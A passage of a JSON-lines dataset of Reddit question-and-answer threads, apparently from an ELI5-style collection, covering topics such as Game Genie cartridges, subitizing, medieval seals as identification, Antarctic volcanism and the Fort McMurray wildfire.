job?\n\nThe patch on the hat indicates he was a member of the [First Aviation Brigade of the United States Army](_URL_0_) ((if that is *his* hat)) - but that doesn't help much because it was the largest organisation of its type in Vietnam!\n\nThe Huey, the Chinook, and what looks to be a Cessna O-2 Skymaster (!) all support that. If that IS a Skymaster, then he was there in actually a very narrow window - the O-2 was an ad hoc solution, and was replaced pretty quickly (they *were* give to the South Vietnamese afterwards, but this one has Yankee markings.) He was there between 1967-1969. And he served at a base with a United States Airforce forward recon squadron. Without being able to tell what markings are on that plane, I can't tell you which USAF squadron, sorry, so can't pin down the location from that. :(\n\nDo you have more pictures (especially of planes)? Or better yet, a unit which you're sure he served with?\n\n\nEdit: Fail formatting.", "Those are really fantastic pictures.  Thank you for sharing.  If you're interested in something similar, I uploaded [an album](_URL_0_) a bit back of some photos my father also took during his time in Vietnam with the 101st.\n\nYou mention him not speaking much about his career.  Perhaps you already know this and have a copy, but as his heir you can obtain his [DD214](_URL_2_) from the Department of Defense.  This form will tell you literally everything about his military career, from exactly where he was in Vietnam to his entire itinerary, list of assignments, promotions, awards, medals, etc.  It might help put more context to the pictures.  More information on how to begin [here.](_URL_1_)  :)", "Could I suggest the kind folks over at [r/military](_URL_0_)? They would probably be delighted to help.", "Since I arrived rather late and plenty of people have already answered the big questions, I will try to pin-point the actual location of the photos. In one of the photos, there is a solemn ARVN soldier sitting beneath what I presume to be a watchtower, the following photo showing a small truck with the words \"Lien Hoa\" over them. If he was an Air Traffic Controller, then he was stationed at an airbase and one of the photos from your second album is from Long Thanh North Airfield, where plenty of units from 1st Aviation Brigade were stationed. Longh Than is very close to Bien Hoa, which I presume the smaller truck in the third picture of your first album is going to. Maybe a misspelling? He could also possibly have been stationed at Bien Hoa Air Base which was also (obviously) close to Bien Hoa."]}, "title_urls": [], "selftext_urls": ["http://imgur.com/a/4r5Yu#0", "http://imgur.com/a/Lf7UJ#1"], "answers_urls": [[], [], ["http://www.1stavnbde.com/"], ["http://www.militaryvetshop.com/History/1stAvnBde.html"], ["http://imgur.com/a/s7F6a#0", "http://www.archives.gov/veterans/military-service-records/", "http://en.wikipedia.org/wiki/DD_Form_214"], ["http://www.reddit.com/r/Military/"], []]}
{"q_id": "944fan", "title": "how did game genies work for nes/sega master system?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/944fan/eli5_how_did_game_genies_work_for_nessega_master/", "answers": {"a_id": ["e3i7n5s", "e3i842p", "e3jyjtu"], "score": [20, 516, 2], "text": ["In normal operation (no Game Genie) the console will ask the cartridge what the rules of the game are (how many lives you get, how high you jump, etc).  The cartridge will then provide those rules and values to the console, which proceeds to create the game on your tv.\n\nWhat the Game Genie does is what for the console to ask for certain information, at which point it jumps in and gives the console a wrong value.  The console can't tell the difference between the cartridge and the Game Genie, so it just accepts this erroneous value.", "Game Genie's worked a little different depending on each system because each system treated cartridges a little different.\n\nIn general a Game Genie was designed to sit between the console and the cartridge and when the console asked the cartridge for data the game genie could secretly change it before passing it back to the console.\n\nSo for example you have a game where you start with 3 lives. That number 3 exists somewhere in the data or code on the cartridge. Let's assume the number 3 is stored at the 5000th byte of the cartridge's data bank. On the Game Genie you'd enter a code like \"50 00 99\". This would tell the genie that every time the console tried to load the number from address 5000 to send back a value of 99 instead of what was really there. Now when a new game starts you have 99 lives because that's the number the console recieved.\n\nWhile that code is obvious in its meaning the genie usually used scrambled codes in a known way, so for example you might actually enter the code \"90 05 09\" and it would get unscrambled into the more meanful code.\n\nDifferent consoles had different ways of working. On the NES the cartridge was linked directly into the CPU bus in such a way that it could control *all* memory, not just the cartridges (this allowed NES cartridges to enhance the original hardware, not just provide game data) by routing any memory access through the cartridge pins first. This means that the cartridge could even override the data in the consoles built in ram. \n\nSo Game Genie codes for the NES might do things like \"hold\" a byte. What this means is that it essentially kept a value in RAM locked - attempts to change it wouldn't work. So you have a place in ram where health was stored and when health reached 0 you are supposed to die. The game genie could just hold that value at 99 and now you are invincible.", "When you get down to any software, whether that is a video game or even the operating system running your phone or PC, they all use memory.  Memory is a collection of circuits that all have the same purpose, and that is storing stuff.  Kinds of storage range from volatile memory, which is memory that loses its value when powered off, to long term storage like hard disks and solid state drives.\n\nI'm guessing how they work, but this is probably how I'd attempt to do something like this if I were to write a game genie (or a trainer program).  You'd probably get a copy of the game, and then you'd do something called \"disassembly\" on the program.  From there, you reverse engineer the game to some extent to figure out where certain values of the game get modified.  When you load a game from a CD, or even just long-term storage like your hard disk or solid state drive, what happens is the code gets copied into a part of the system's memory.\n\nSo, for instance, if you're playing a game like Final Fantasy, and you want to modify your character's strength value, what you'd probably need to do is dig into the code and find the function (a chunk of code that gets ran to achieve a certain result) that modifies your character's strength.  Then you'd do something called \"code injection\" where you modify the code that will next be called to instead call your function where it sets the character's strength to whatever you wanted it to be.  You'd then make it so that your code returns to where it was previously executing (running) as to not crash the program.\n\nWhen you next get into battle in your game, and your character attacks the enemy, what's going to happen is the game will likely do some random number generation to figure out if you hit, if you critically striked, if the target has damage reduction, and so on, then it'll take your character's strength, and use that as a multiplier of some form, and calculate the damage inflicted to the target.\n\nThe next time you say the game, your character's information will be saved, and the changes made by the game genie will be made permanent and you won't need to load the cheat again.\n\nBy the way, if you're curious, this it totally off topic, but this is a software exploitation technique.  It has been used in some fairly notorious software vulnerabilities.  Having your program be easily manipulated to do things it normally doesn't do is not a desirable effect for the person developing the software.  If you did something like this to a game you're playing online with other people, giving you an unfair advantage, it obviously is cheating.  There are all kinds of safeties put into place now to prevent data manipulation on game servers to prevent this very thing.  It's probably also the reason why you don't see game genies for modern games anymore, the developers got smart and figured out redundancies to prevent players from cheating :)\n\nThis is just my two cents, I don't know if that's actually how game genies worked or not, but it's my best guess."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6xg17b", "title": "why do a sick person's eyes look \"glassy\"?", "selftext": "What causes the change in appearance?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6xg17b/eli5_why_do_a_sick_persons_eyes_look_glassy/", "answers": {"a_id": ["dmfnzt1"], "score": [53], "text": ["Here are three reasons - tears, fatigue, and low blood sugar.\n\nExtra tearing caused by a ramped up immune system makes the eyes look more \"shiny\". \n\nFatigue from fighting the sickness make people less likely to focus or be as alert, which make the eyes look \"dull\". \n\nFinally, hypoglycemia can give the eyes a glassy look too; being feverish contributes to having lower blood sugar. \n\nIf someone's eyes look glassy, it's a good indication they're unwell because it means they're fatigued and their immune system is running high, making the eyes more watery."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4i82us", "title": "why aren't radio commercials with traffic sounds like sirens and car horns outlawed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4i82us/eli5_why_arent_radio_commercials_with_traffic/", "answers": {"a_id": ["d2w1i5y", "d2w2nu6", "d2w2rf4"], "score": [11, 49, 6], "text": ["I'm assuming they'd have trouble drawing the line considering what would and wouldn't be so startling  while driving it should be illegal. \n\nThere are already regulations for what you can't say on the radio, so it wouldn't be too far fetched. ", "They may not be illegal but they are against FCC regulations and you can file a complaint on their website.", "The radio station that I listen to dims out the gunshots and cha-ching$ in M.I.A's song Paper Planes. Maybe they got complaints from the listeners? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "6tend1", "title": "Does the ice sheet of Antarctica have a \"bottle cap effect\" on the recently discovered volcanoes underneath?", "selftext": "I've already read discussions that the [91 volcanoes] (_URL_0_) beneath the antarctic ice sheet might speed up global warming and rising sea levels should any of them erupt. But I'm wondering if the opposite might be true as well. For instance, a one trillion metric tons heavy iceberg drifted from the Larsen ice shelf in july. Could such decreased pressure from the arctic ice trigger volcanic eruptions in the near future?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6tend1/does_the_ice_sheet_of_antarctica_have_a_bottle/", "answers": {"a_id": ["dlkgde9", "dlkitzc"], "score": [78, 10], "text": ["The Larsen ice shelf that broke off was sea ice, not land ice, and was floating when it broke off. That shelf itself will not raise the sea level at all when it melts, it didn't raise the sea level when it broke, nor did it alleviate any pressure on the continental land mass.\n\nWhen the continental ice sheet melts, there will be some isostatic rebound, but that will happen over thousands upon thousands of years and will likely be in the millimeters per year range. The ice on the continent will take lifetimes to melt even during the worst case climate change scenario and will have little effect on the volcanoes underneath. \n\n\n", "[Huybers and Langmuir (2009)](_URL_2_) describe and discuss a positive feedback scenario wherein increased volcanism due to the isostatic rebound of recently deglaciated crust inputs enough CO2 into the atmosphere to cause more deglaciation to occur. \n\nWhen glaciers are removed from the surface, decompression of the underlying mantle can induce melting and volcanism. This process has been thought to have occurred [in Iceland (Maclennan et al., 2002, a classic paper in this area of study)](_URL_1_), on Prince of Wales Island (personal communication with US Forest Service geologist Jim Baichtal), and is critically examined in [Watt et al. (2013)](_URL_0_) where the authors acknowledge that CO2 contributions from volcanism post deglaciation are elevated but still do not play a dominant role in controlling atmospheric CO2 levels. This last paper featured a study of deglaciation-derived volcanics in the Andes. \n\nThe take home is that yes, unloading glaciers from the crust can induce volcanism. \n\nEdit: Updated the links to full papers where available. I'm sorry I couldn't find one for Watt et al. 2013"]}, "title_urls": [], "selftext_urls": ["https://www.theguardian.com/world/2017/aug/12/scientists-discover-91-volcanos-antarctica"], "answers_urls": [[], ["http://www.sciencedirect.com/science/article/pii/S0012825213000664", "http://onlinelibrary.wiley.com/doi/10.1029/2001GC000282/full", "https://dash.harvard.edu/bitstream/handle/1/3659701/Huybers_FeedbackDeglaciation.pdf?sequence=1&amp;origin=publication_detail"]]}
{"q_id": "ajpq40", "title": "I\u2019m an English heir of a noble house whose been away for 10 years warring in the holy lands. When I come back, all my family has died, who do I have to prove to that I\u2019m the legitimate successor and how would I go about this?", "selftext": "Was there a centralised department for England which could provide proof, or was the burden of proof solely on me and based on my own honour, documentation (if I had any) and patrons supporting my claim? Could I realistically be a fraudster and get away with it? Could i appeal to a higher power such as a court or king a potentially incorrect verdict? ", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/ajpq40/im_an_english_heir_of_a_noble_house_whose_been/", "answers": {"a_id": ["eez2t8q"], "score": [1266], "text": ["Have you been writing letters back home? Engage in any business before you left? You're in luck--but probably not for the reason you're thinking.\n\nAny ID-issuing, record-keeping centralized office is a long ways off in the future. But the later Middle Ages did have a form of identification for nobles, high-ranking Church officials, and others who might have to engage in long-distance legal rulings or business transactions: the seal.\n\nYou would carry with you a lead seal matrix--basically, a stamp, that you would [press into softened wax](_URL_0_) and attach to the letter or charter ([here's a picture of a letter with the seal intact](_URL_1_)). The use of the seal would authenticate the document as yours, but even more so, in medieval thought it would actually stand in for your physical presence. \n\nIn other words: seals were really, *really* important in the Latin Middle Ages. Brigitte Bedos-Rezak, who wrote the groundbreaking article on this topic, argues that theologians start to theorize about the semiotics of seals around 1200, but the same ideas are present inchoately going back to around 1050.\n\nSo as long as there is a wax seal of yours somewhere back in Europe, you could demonstrate the identity of your seal matrix's imprint with the earlier one. Bedos-Rezak includes an example from the later 13th century that I think fits nicely as an illustration here. Although it concerns the authentication of a document rather than a person, it involves contested ownership of lands following the death of the owner.\n\nA man named Renaud de Trit brought a charter to King Louis IX in which Louis granted some specific lands to him, as heir of the deceased countess. But unlike the above pictured example, this seal was broken and half of it was lost, leaving only \u201chalf the legs of the figure representing the King, and the stool on which his feet were resting.\u201d Louis\u2019 inner cohort (including the author here) agreed that they couldn\u2019t be sure the charter was really his, and he could give the lands to whomever he wished.\n\nBut Louis called for a charter of his where the seal was unbroken, and told the gathered skeptics: \u201c\u2018My lords, here is the seal I used before I went overseas, and you can clearly tell from looking at it that the impression on the broken seal corresponds exactly with that of the one that is whole. Therefore I could not, with a clear conscience, retain this land.\u2019\u201d (Jean de Joinville) And he restored Renaud\u2019s inheritance to him.\n\nYou're probably wondering, \"Well, what about forgery? What if I was the impostor who stole the seal off someone's dead body?\" Before you jump to this as some backwards \"Dark Ages\" failure in the medieval system, consider fake IDs and digital identity theft today. And just like we do now, medieval people worried about forgery, too--a *lot*. It was a capital crime (death penalty), for starters! And the subject of very much wrangling, with no good conclusions, in canon and civil law. Conrad of Mure (late 13th century) eventually just declared than an authentic seal was one that was \"well known and famous.\"\n\nBeyond the theorists, there are stories about people faced with kidnapping who ditched their seals and rings (another form of identification, although less fraught than seals) so letters, charters, and other documents couldn't be forged by their captors.\n\nSo you've got a seal that is yours, or one you've taken off the dead body of the noble whose prospects back home seem much better than your own. Renault, in the above example, took his charter and his claim straight to the king and his council. But it was directly relevant in this case, since the lands in question were being held by Louis himself. In general, where you'd take your case depended on which (more or less) sovereign lord you ultimately answered to.\n\nThe Holy Roman Empire, with far more territory than any of its neighbors, was too large for a stationary nexus. The imperial court was \"itinerant,\" that is, the king's whole household, retainers, and nascent bureaucracy perambulated around the Empire. If the emperor was in a convenient location to you, you could take your case to his bailiffs and court. Otherwise, German law tended to operate by principality, which in the twelfth century could mean a state, a city, the secular holdings of a monastery...the increase in written bodies of law from the thirteenth century helped streamline things a bit more.\n\nLittle England had the easiest time with consolidating some level of centralized oversight (\"some\" being...not very much, yet). From the mid-12th century, assize courts took over a lot of disputed land claim cases through local trials by jury; eventually, the 'mort d'ancestor' assize would be established to give jurisdiction and procedure specifically over land inheritance cases.\n\nIn France, the major innovations came under Philip Augustus. Preparing to leave for the Third Crusade, he and his regents/caretakers established (among other things) a legal system of traveling courts to take over for the king's itinerancy. Teams of two to three bailiffs rotated around the kingdom, setting up a court once a month to hea)r cases in whatever region they were in. Dissatisfied customers had the right to appeal to Parlement (and pay the treasury) in Paris. This system, like the others, endured long after the reigns of the kings under whom they evolved into being.\n\nNow it's time to get some knightly retainers of your own, and go storm other lords' castles and burn their peasants' villages and show just how much of a *holy warrior* you are at heart.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://thumb4.zeppy.io/d/l400/pict/253868807088/medieval-lead-seal-of-simon-henry-metal-detecting-detector-finds", "https://media.vam.ac.uk/media/thira/collection_images/2006AL/2006AL3628.jpg"]]}
{"q_id": "2ayhkp", "title": "If someone asks me 'how many apples are on the table', and I say 'five', am I counting them quickly in my head or do I remember what five apples look like?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2ayhkp/if_someone_asks_me_how_many_apples_are_on_the/", "answers": {"a_id": ["cj02b7r", "cj0luu4", "cj0lxen", "cj0p268", "cmgu7ru"], "score": [4757, 27, 3, 9, 3], "text": ["The human mind has two systems for representing numbers: a [subitizing system for numbers up to four](_URL_3_), and an approximate ratio estimation system for larger numbers. Your choice of the number \"five\" is interesting because it is right on the edge of the subitizing system's capabilities, but you are probably able to see that there are five without actually having to count them. Let's spell out the difference here to be clear.\n\nFor numbers less than four, you can immediately tell precisely how many there are without having to count them (this is what the subitizing system does). For numbers larger than four you can only get an approximate estimate unless you count them (this is what the approximate number system does). The approximate number system [works like Weber's law, in terms of ratios](_URL_4_). This means that you can discriminate say 90 from 100 and 900 from 1000 about equally easily because they are both a ratio of 9:10.\n\nNow to counting, which is actually a cool little invented trick that expands the capacity of the subitizing system by using language to precisely enumerate more than 4 objects (keep in mind you can't get a precise count of more than 4 objects without counting them). The way this trick works is as follows. We all memorize a verbal list of numbers that we store in long term memory (1, 2, 3, 4, 5, 6, ...). You may remember this being a big part of learning when you were 4 or 5 years old, and you can see that it isn't all that natural because it takes kids some time and effort to memorize this list. Now, once you have this list memorized, you can use the following counting algorithm to precisely enumerate more than 4 objects. You can then count the number of objects you're looking at by giving each a label from the memorized list of numbers, and continue this process until each object has a label, and has only one label. The label that you end at is the number of objects there are. \n\nSo, let's say you had seven objects on a table, there are two ways you could precisely enumerate them. The first would be to create two groups of objects that are subitizable (say, identify one group of three objects, and one of four objects), process them immediately and then add them together. The other way would be to start labeling them from your list (the first gets the label \"one\", the second \"two\", and so on). Then you will run out of objects to label precisely at the label \"seven\" and you will know you have seven objects. If you wanted to count 90 objects though, you would be forced to run the counting algorithm because there is no way to break that up into a manageable number of subitizable sets (sets of four or less objects).\n\nWhen I first learned this it blew my mind, but if you think about it a little bit, you realize that is precisely what you are doing when enumerating some group of objects. You should notice that you can immediately recognize up to about four objects without counting (and can increase this with the little grouping trick I mentioned above, that I often use for numbers less than ten or so). However, notice that if you have to enumerate, say 17 objects, you probably won't be able to do so without the \"little voice in your head\", which you are using to recite your memorized list of numbers. \n\nThis also explains how some cultures don't have number systems that go above two or three. All cultures have words that distinguish one object from multiple objects, but some stop there, or have counting systems that are something like \"one\", \"two\", \"many\". These cultures simply have not invented this linguistic counting trick because the need has not arisen, and this is not uncommon among hunter-gatherers and hunter-horticulturalists: they don't need to enumerate identical objects because most objects in the natural world can be identified individually because they are all unique. While counting seems incredibly natural to us, it is only because it is so well learned that we overlook how we got there in the first place, and so the idea that some people can get by without the counting trick can seem really odd to educated people. Interestingly, number systems seem to arise when the need arises, and specifically when people need to keep track of large numbers of roughly identical objects, or keep some record of the number for the future. When does this happen? Often with the invention of agriculture, since this often leads people to be trading, tracking, and exchanging larger numbers of nearly identical objects (e.g., bushels of wheat). This is why the counting trick has been independently invented many times over across many different cultures, yet has not been invented by all of them. For some cultures the need simply never arose.\n\nIt is a little tricky to give sources for all of this because it is a broad summary of a ton of research, but here are some good places to start:\n\nWhere Mathematics Comes From by Lakoff and Nunez\n\nHuman Universals by Donald Brown\n\nDevelopmental psychology work on numerical cognition by [Elizabeth Spelke](_URL_2_), and [Karen Wynn](_URL_5_). \n\n\nEdit: Thanks for the comments and gold. I'm glad you all found this interesting. I would love to keep fielding questions here, but I should probably get back to doing real work. However, I did want to add a call out for anyone who knows more about this topic to post something on variation in subitizing ability. It seems like over half of the comments are asking about whether this can be greater than 4, and I don't know for sure or have a source off hand. My memory is that subitizing capacity does vary, but only around about 3-5, so you can't subitize much higher than that. If anyone can find a source for this please post it. Thanks.\n\nEdit 2: Looks like /u/svof posted a source on individual differences in subitization below. He points out that 4 is the modal subitization ability, which is a helpful elaboration. The general points hold, but there is more nuance in subitizing abilities than my answer implied.\n\nEdit 3: Wow, thanks everyone. I just wanted to add that there are other ways to assess the number of objects without counting them or subitizing them, for example by using a heuristic based on shape. Many comments/questions keep stating that people don't need to count higher numbers on dice or dominoes, and that is because you have memorized the shapes that the marks make, and how each shape relates to a specific number. So, there are other ways to figure out the number of objects, such as spatial heuristics, and I bet there are probably a lot of other work arounds one could come up with. The key to these work arounds would be figuring out visual stimuli that are immediately perceptible and map onto the number of objects somehow (e.g., like if every time there were 33 objects, they would be red, and only when there were 33 objects would they be red--then you could just instantly see the red and know there were 33 objects).\n\nEdit 4: Man did this blow up. Thanks for all the gold, and for the interest. I just wanted to add this edit to say that I probably won't be answering any more questions. If a unique one comes in, I'll try to respond, but almost every new comment/question is about one of the things I addressed in the post or the edits above (variation in subitizing ability, counting by subitizing in multiple groups, or counting by pattern recognition). Since I addressed those here, I'm not going to go through and answer each one over and over. One other common question is why four specifically, and I think /u/99trumpets [gave the best answer for this below](_URL_1_). The last thing people keep asking about is subitizing savants (e.g., people that can instantly count 100 objects), and I just want to say I know nothing about that. I haven't seen a single credible source on it though, as everyone just references some vague thing they heard or Rain Man, so it's hard to tell if it is a real documented phenomenon or not. If someone does post a source on it, I'll add it in up here, otherwise I'm not really sure how to address that specific topic. Thanks again for reading, and I'm glad you all found this so interesting.\n\nEdit 5: /u/SirSoliloquy [built a cool little web app to demonstrate subitization.](_URL_6_) [Check it out!](_URL_0_)\n\nEdit 6: Radiolab did a segment on exactly this topic. You can listen to it [here](_URL_7_).", "And, as a follow-up question to OP if anyone sees this: When a person with autism who is able to recognize massive quantities in an instant a la *Rain Man*, is he subitizing and counting subgroups very quickly or counting each individual object at an insane rate? ", "I think your answer can be found in some of the theories of how we learn to read and how to help kids with dyslexia.\n\nSome kids, perhaps most, see letters and  recognize the string as a word, much like counting the apples. Other kids  see a  shape/ pattern and recognize it as the word which would be like remembering what \"5 apples\" looks like.\n\nMy older daughter has  some dyslexia so I learned some this from her reading teacher. It was inadvertently demonstrated by my younger daughter at age 4 before she  read but after she knew her letters and some simple words. . We were on vacation and had rented a car from Budget. They had large signs all over their  kiosk and at the car park. A couple days later, completely different context we passed a truck with Budget on the side. 4 year old  called out the word. She clearly y recognized a shape and matched it with the word. She remembered what \"Budget\" looked like", "When you are counting apples on a table, you can look at a small number and instantly know how many are there without counting them individually.  This is achieved using your \"[subidized](_URL_0_)\" (no, not sub***s***idized) system of counting.  Interestingly, I read a study recently that describes how people who play video games tend to have a higher \"upper limit\" to their subidizing counting systems.  [Here's](_URL_1_) a similar study as I can't seem to find the specific one I read.  As SurfKTizzle has mentioned, and is mentioned in this study, 4 tends to be the highest number of objects that people can identify without counting.  I cannot say for sure as I don't have the study that relates the subidizing system to video games, but for gamers, the threshold tends to be more like 5 or 6.  My point is that you can train your brain to recognize higher numbers of objects without counting.  Beyond your \"limit\", your brain must resort to counting things individually to reach an exact amount.  That is, unless the apples are arranged in an easily recognizable pattern, like how the dots are arranged on dice.\n\n---\nTLDR; your brain can recognize that there are 5 apples on the table instantly, without you counting them.  Not technically correct to say that you \"remember what five apples look like\"; it's more like you can see five objects and recognize that there are five objects in an instant through a subconscious counting system called the \"subidizing\" system.", "Just conjecture here, but I'd like to reframe the question somewhat: *What is it about the traits of a collection of five apples that our brains use to interpret that collection as a group of five apples?*\n\nThe traits which stand out to my mind most are as follows:\n\nFirst phase:\n\n* There are five *things*\n* The *things* are all alike in enough ways to be classified as 'same'\n* A group of *things* which are 'same' is a collection\n\nSecond Phase:\n\n* The *things* in the collection share a specific set of traits that are consistent with an established *schema* (Note: The *things* need not share *all* traits, it's only important that the traits are known and that each of the things display enough traits to include them in the collection, and there are no traits which would exclude them from the schema, such as in this case, thorns on the skin for example)\n* The schema accessed through this process is the 'apples' schema\n\nImportant points to note here are that our brains process each of these bits of data independently, and that the first phase must be processed before the second can be initiated. So from this conceptual process, the answer to your question is as follows:\n\n* Your brain knows what a collection of five objects looks like\n* Your brain has identified the objects in the collection as apples\n* You brain has identified the important features of the query to be 'apples' and 'determine the quantity'\n* Your brain has filtered unnecessary peripheral information about collections, apples, quantities and objects\n* After the filtering process, the one important piece of information which remains in your working memory is: the quantity 'five'\n* Your brain tells your mouth to deliver the contents of your working memory\n\nNote also that this is also a recursive process. When asked to count larger numbers of *things*, I often count in groups and sum the quantities of the groups to arrive at a final figure. People who calculate quantities of collections by counting *rows of things* and multiplying by *quantity of things per column* are using this method, often without thinking about it.\n\nIn short, it really depends. If you are accustomed to seeing groups of five apples in places, you can rapid-fire that response without having to think about it. But if you have never before seen a group of five apples, yet know both what apples are and what a group of five *things* looks like, you are likely to be using the process described above to formulate your response."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://stringsofwords.com/?p=82", "http://www.reddit.com/r/askscience/comments/2ayhkp/if_someone_asks_me_how_many_apples_are_on_the/cj06o71", "http://www.wjh.harvard.edu/~lds/index.html?spelke.html", "http://en.wikipedia.org/wiki/Subitizing", "http://en.wikipedia.org/wiki/Weber%E2%80%93Fechner_law", "http://pantheon.yale.edu/~kw77/Research.html", "http://www.reddit.com/r/askscience/comments/2ayhkp/if_someone_asks_me_how_many_apples_are_on_the/cj1fx1y?context=3", "https://www.wnyc.org/radio/#/ondemand/424231"], [], [], ["http://en.wikipedia.org/wiki/Subitizing", "http://www.psy.cmu.edu/~siegler/siegler09-inpress.pdf"], []]}
{"q_id": "4mvifj", "title": "why are there black areas around a phone's camera?", "selftext": "There are the lenses, and mostly black area around it. Take the Galaxy S7 fox example. Does it have any use?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4mvifj/eli5why_are_there_black_areas_around_a_phones/", "answers": {"a_id": ["d3ynb5c", "d3ynr5x"], "score": [2, 2], "text": ["It reduces glare from bright light sources at a certain angle, similar to the function of a lens hood on a camera lens.", "Colored areas around the lens would _reflect_ light, whereas black absorbs it.  So...if you have colored things around the lens you increase the chances of glare in your photos."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1t22be", "title": "in an dollar to euro currency exchange, where do the dollars go once they are exchanged?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1t22be/eli5_in_an_dollar_to_euro_currency_exchange_where/", "answers": {"a_id": ["ce3kxdn"], "score": [2], "text": ["The most basic answer is that the dollars go to whoever you bought the euros from.\n\nWhen you exchange currency there are two sides to the transaction.   So if you want to exchange dollars for euros you are basically saying that you want to sell dollars and buy euros.  To make the exchange happen you have to find somebody that is willing to buy dollars and sell euros.\n\nIf you go to a currency exchange like in the airport they will look at the current market price and set a price that they are willing to sell euros/buy dollars for and a price that they are willing buy euros/sell dollars for.  If you want to exchange currency with them you basically have to take these prices.  They make most of their money on the spread between the two prices.\n\nIn the foreign exchange market it works sort of the same.  If you want to turn say dollars into euros you place an order for how many euros you want and how many dollars you will pay for them, if someone is willing to sell you euros and buy your dollars at the price you specified the transaction is made.  If nobody is willing to take the other side of your order, the order remains open until until it is cancelled or filled. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2l0wh4", "title": "how are companies like tesla allowed to use tesla's name without getting permission from him?", "selftext": "General curiosity, sorry if it comes off idiotic.  ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2l0wh4/eli5_how_are_companies_like_tesla_allowed_to_use/", "answers": {"a_id": ["clqem92", "clqf9l6", "clqfbwn", "clqgbb5", "clqh0jd"], "score": [29, 25, 5, 2, 3], "text": ["Tesla never married or had children and has no close living relatives in the US, so there is no US estate to claim rights to the name.", "Tesla's name is not just a name. A Tesla is a unit of measurement used to express magnetic flux density. _URL_0_\n\nAs such, even if Tesla had family like other had said in this thread...it wouldnt have mattered all they would have to say is that they were making reference to the unit not the man. ", "Tesla is also a unit of measure (SI unit of magnetic flux density).\nIt is also used as a name for certain devices (Tesla Coil, Tesla the band).  \nThe word Tesla is in the public domain.  \nFor instance, there is also a car called the Volt, despite it being named after Alessandro Volta.  ", "Tesla didn't trademark his name.  It's just a name.  You don't see anyone with the last name of Ford suing Ford Motors for royalties on their use of the name.  ", "Reminds me of when monster cable patented the word monster.... they even tried suing a old couple for naming their mini put business monster golf."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Tesla_%28unit%29"], [], [], []]}
{"q_id": "4ky63h", "title": "if the fire is still active in fort mcmurray, why are residents allowed back?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4ky63h/eli5_if_the_fire_is_still_active_in_fort_mcmurray/", "answers": {"a_id": ["d3is56q", "d3is80d"], "score": [2, 3], "text": ["I will try and answer to the best of my ability, I am not in Fort McMurray but I am in Alberta.\n\n1) The fire is big, so big that it is not actively burning anywhere near the city of Fort McMurray anymore. The fire will take months if not longer to fully put out but it is not burning near the city anymore.\n\n2) the amount of homes destroyed to what survived is small. 2,400 buildings destroyed but 25,000 were saved. that is a lot of the city people are ready to move back to. Plus people need to see what damage happened to their own home and get insurance claims going on rebuilding.", "The fire is still active but has moved away from the city...the winds have blown it into the boreal forest where no one lives. Right now the fire is being fought by wildfire firefighters. It is expected to continue to burn for weeks, which is not abnormal for boreal forest fires. In fact some of these wildfires can burn right until winter and even through winter  burning in the peat soil. But just to emphasize that this area of Canada (North-eastern Alberta) is largely uninhabited, and the fire is now burning further into this vast uninhabited area. \n\nSince the fire has moved on basic restoration crews have been able to go into the city and secure it. Once basic necessities are up an running (e.g. gas, water, electricity, hospital) the government will allow for staged reintroduction of different communities. Unaffected communities will be allowed back first. Later, those who lost their home will be allowed to return. This is the phase back strategy. Since some people no longer have a home, they will obviously require other lodgings. I suspect most will stay with friends or family within the city with who did not lose their homes, but others may stay in the surrounding area or even Edmonton (~4hr drive away).\n\nOnly a small fraction of the city was actually burned, the greater majority of structures remain undamaged. Thats not to say that the loss is trivial, thousands have lost their homes and over 2000 structures (mostly homes) were destroyed. But this is a large city, with most of the subdivisions including the downtown and key pieces of infrastructure unharmed (e.g. hospital).\n\nObviously the winds could shift again sending the fire back down towards the city. However, the landscape is severely burned which means it would be difficult for the fire to burn back through already burnt areas. The ongoing safety of the city will be closely monitored. They will only let people return if its safe. So one of the major conditions is that the fire is well away from the city and that it is expected to stay that way. \n\nedit: grammar"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "29vei0", "title": "what psychological experiments were conducted using facebook?", "selftext": "Apparently, researchers sought to:\n\n >  to find if Facebook could ***alter*** the emotional state of users and ***prompt them*** to post either more positive or negative content . . . [emphasis added]\n\nWhat exactly did these researchers do?  I'm not interested in what was illegality of the situation.  I just want to know what was *done*.\n\nThanks in advance.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/29vei0/eli5what_psychological_experiments_were_conducted/", "answers": {"a_id": ["ciov1bu", "ciov5td"], "score": [2, 8], "text": ["For all the people you've friended or followed Facebook only shows you a subset of the content they post based on a set of criteria (among them, how much the content providers pay Facebook to promote their content); you don't see everything. \n\nWith that in mind, Facebook would analyze content and decide if it was positive or negative and then show people either primarily positive or primarily negative content and see if their posts were then positive or negative. \n\nThe results revealed that if someone was shown primarily positive posts they would also post positive things and vice versa. ", "They altered the feed of 600,000 users to show either the more positive posts or the negatives posts at the top and more prominently.\n\nThey did this to see if the posts they got shown would affect the type of things they post. Eg, if you see more negative posts you would post more negative things."]}, "title_urls": [], "selftext_urls": [], 